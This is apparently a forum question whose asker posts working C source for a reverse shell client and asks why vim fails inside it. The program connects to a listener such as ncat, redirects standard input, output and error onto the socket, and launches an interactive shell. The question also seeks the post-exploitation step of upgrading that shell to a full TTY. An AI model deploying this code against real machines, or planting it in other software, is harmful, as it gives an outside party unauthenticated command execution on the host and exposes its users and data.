1

I'm developing a client that uses TCP sockets to connect to a listening server (an ncat for example) and when it does the program uses the dup2(socketfd, all three standard I/O file descriptors) syscall to send a shell to the server when It connects to it. (Like an SSH Tunnel but without encryption)

int create_socket()
{
    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    return sockfd;
}

struct sockaddr_in create_serv_addr(char* argv[])
{
    struct sockaddr_in serv_addr;

    memset(&serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family        = AF_INET;
    serv_addr.sin_port          = htons(atoi(argv[2]));
    serv_addr.sin_addr.s_addr   = inet_addr(argv[1]);

    return serv_addr;
}

int main(int argc, char* argv[])
{
    int sockfd = create_socket();
    struct sockaddr_in serv_addr = create_serv_addr(argv);

    if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) >= 0) {
         for (int i = 0; i < 3; i++) {
              close(i);
              dup2(sockfd, i);
         }

         execl(SHELL, SHELL, "-i", (char*)NULL);
   }
}

When my ncat receives the connection I get a shell but when I executed VIM from that shell I get the following errors:

Vim: Warning: Output is not to a terminal

Vim: Warning: Input is not from a terminal

I can't use the editor properly in that shell, and I just don't know why, in fact the entire command line doesn't feel right, nor functional.

I investigated and I think its because I need to "Upgrade the shell into a fully interactive terminal" or TTY, I've read the OpenSSH source code in GitHub to come up with some clue of how to fix it and I think the <termios.h> library is key to fixing my problem, but I still feel lost.

Brian Fiszman
  • 148
  • 1
  • 11

0 Answers0